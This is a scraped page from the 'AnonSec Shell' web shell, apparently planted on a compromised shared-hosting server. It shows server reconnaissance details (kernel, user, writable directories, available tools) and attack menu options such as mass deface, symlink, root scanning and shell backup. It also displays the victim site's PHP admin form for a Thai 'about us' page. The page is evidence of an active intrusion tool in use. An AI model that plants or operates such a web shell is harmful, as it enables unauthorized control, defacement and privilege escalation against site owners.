AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/mybackend/aboutus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/mybackend/aboutus/list.php
<?php require_once("../include/class.php");?>
<?php require_once("../include/header.php");?>
<?php require_once("../include/nav_top.php");?>
<?php require_once("../include/sidebar.php");?>
<?php include("table_name.php");?>

<div id="main-content">
  <div class="container-fluid">
  
    <ul class="breadcrumb">
      <li><a href="../<?php echo $name_folder; ?>/list.php"><?php echo ucfirst($name_table) ?></a><span class="divider">&raquo;</span></li>
      <li class="active">List</li>
    </ul>
    
    <div class="row-fluid">
			<div class="span12">
				<div class="widget-block">
					<div class="widget-head">
                   
						<h5>FORM</h5>
						<!--<div class="widget-control pull-right">
							<a href="../<?php echo $name_folder ?>/list.php" data-toggle="dropdown" class="btn dropdown-toggle"><i class="icon-cog"></i><b class="caret"></b></a>
							<ul class="dropdown-menu">
								<li><a href="add.php"><i class="icon-plus"></i> Add New</a></li>
							</ul>
						</div>-->
					</div>
                     
					<div class="widget-content">
						<div class="widget-box">
                        <form class="form-horizontal well" action="add_save.php" method="post" enctype="multipart/form-data">
                        
                         
                       <?php
                            if($_SESSION['er']=='true')
							{
								?>
                                <div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close" type="button">×</button>
                                <strong>บันทึก</strong> เสร็จแล้วร้อยค่ะ
                                </div>
                                <?php
							}
							 if($_SESSION['er']=='de_true')
							{
								?>
                                <div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close" type="button">×</button>
                                <strong>ลบข้อมูล</strong> เสร็จแล้วร้อยค่ะ
                                </div>
                                <?php
							}
							if($_SESSION['er']=='false')
							{
								?>
                                <div class="alert alert-error fade in">
                                <button data-dismiss="alert" class="close" type="button">×</button>
                                <strong>ระบบขัดข้อง</strong> กรุณาทำรายการใหม่ค่ะขอบคุณค่ะ
                                </div>
                                <?php
							}
							
							?>
                         <?php
							$sql = array('table'=>$name_table,'where'=>"id = '1'");
							$view_sql = $view_db->view($sql);
							$row = $view_db->q($view_sql);
						?>
                        
                        
								<fieldset>
									<div class="control-group">
										<label class="control-label">เกี่ยวกับเรา (TH):</label>
										<div class="controls">
											<textarea class="input-xlarge ckeditor" name="detail" rows="10"><?php echo $row['detail']?></textarea>
										</div>
									</div>
                                
                                  
                                    <div class="control-group">
										<label class="control-label">รูปภาพ :</label>
										<div class="controls">
											<input class="input-file" type="file" name="img">
                                            <br>
                                            <?php
                                            if($row['image'] <> '')
											{
											?><img src="../../upload/<?php echo $name_table; ?>/thumb/<?php echo $row['image']; ?>" width="150" broder='0' style="margin-top:20px;"><?php	
											}
											?>
                                            <input type="hidden" name="img_old" value="<?php echo $row['image']; ?>">
										</div>
									</div>
									<div class="form-actions">
										<button class="btn btn-primary" type="submit">Save changes</button>
									<a href="list.php" class="btn" role="button">Cancel</a>
									</div>
								</fieldset>
							</form>
							
          
                            
                            
                            
                            
                            
                            
                            
                            
                            
                            
                            
                            
                            
                            
						</div>
					</div>
				</div>
			</div>
		</div>
    
    
  </div>
</div>
<?php unset($_SESSION['er']);?>
<?php require_once("../include/footer_js.php");?>
</body>
</html>

Anon7 - 2022
AnonSec Team